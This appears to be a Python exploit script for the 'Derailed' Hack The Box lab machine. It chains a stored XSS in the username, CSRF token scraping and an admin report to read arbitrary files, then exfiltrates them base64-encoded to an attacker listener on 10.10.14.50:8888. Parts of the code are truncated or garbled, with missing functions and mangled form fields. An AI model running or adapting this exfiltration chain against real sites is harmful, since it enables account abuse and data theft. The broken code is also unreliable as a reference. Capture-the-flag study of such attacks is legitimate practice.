#!/usr/bin/env python import sys import requests import base64 import re import urllib.parse from http.server import BaseHTTPRequestHandler, HTTPServer myIP = '10.10.14.50' localPort = 8888 ## http server handler and method class S(BaseHTTPRequestHandler): def do_GET(self): result = self.path.split('exfil?')[1] plaintext = base64.b64decode(result).decode('utf-8') if ' response.text()) .then((text) => { adminPageDOM = parser.parseFromString(text, "text/html"); auth_token = adminPageDOM.getElementById("authenticity_token").value; fetch(report_url, { body: `authenticity_token=${auth_token}&report_log=""" + filename + """`, headers: { "Content-Type": "application/x-www-form-urlencoded", }, method: "post", }) .then((response) => response.text()) .then((text) => { fetch(exfil + btoa(text)); }); });""" xssPayload = bytes(xssPayload, "utf-8") b64 = base64.b64encode(xssPayload).decode("utf-8") username = f"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" payload = urllib.parse.quote_plus(username) return payload ## grab token and cookie def getSession(url, h=''): r = requests.get(url, headers=h) csrfToken = re.search('name="authenticity_token" value="([^"]+)"', r.text).group(1) sessionCookie = r.headers['Set-Cookie'] headers = {"Cookie":sessionCookie} return csrfToken, headers ## send POST requests def sendRequest(url, payload='', h=''): ## get a Cookie and authenticity_token csrfToken, headers = getSession(url, h) ## processing carious endpoints if '/register' in url: data = f'authenticity_token={csrfToken}&user%5Busername%5D={payload}&user%5Bpassword%5D=fluff&user%5Bpassword_confirmation%5D=fluff' errorMsg = 'Failed to register.' successMsg = 'Registration successful...' elif '/login' in url: data = f'authenticity_token={csrfToken}&session%5Busername%5D={payload}&session%5Bpassword%5D=fluff&button=' errorMsg = 'Failed to login.' successMsg = 'Login succesful...' elif url.endswith(':3000'): url = url + '/create' data = f'authenticity_token={csrfToken}¬e%5Bcontent%5D=a&button=' errorMsg = 'Failed to create a clip.' successMsg = 'Clip created...' elif '/report' in url: headers['Referer'] = url url = url.replace('/' + payload, '') data = f'authenticity_token={csrfToken}&report%5Breason%5D=a&report%5Bnote_id%5D={payload}' errorMsg = 'Failed to report a clip.' successMsg = 'Clip reported to admin...' ## Send a request r = requests.post(url, data=data, headers=headers, allow_redirects = False) ## Check for success or failure if r.status_code != 302: print('Something went wrong. ' + errorMsg, file=sys.stderr) exit() else: print(successMsg, file=sys.stderr) return r if __name__ == "__main__": ## Check argv, and generate an XSS payload in username. ## Base64 and URL encoded filename = checkArgs() payload = getUsernameAndPayload(filename) ## Attempt to register register = sendRequest('http://derailed.htb:3000/register', payload=payload) ## Attempt to login login = sendRequest('http://derailed.htb:3000/login', payload=payload) loggedInCookie = {"Cookie":login.headers['Set-Cookie']} ## Attempt to create a clip clip = sendRequest('http://derailed.htb:3000', h=loggedInCookie) global noteId noteId = re.search('clipnotes/(\d+)', clip.text).group(1) print('Clip ID: ' + noteId, file=sys.stderr) ## Attempt to report a clip sendRequest('http://derailed.htb:3000/report/'+noteId, payload=noteId) print('Awaiting callback...', file=sys.stderr) ## Run http server and handle GET requests runhttpd()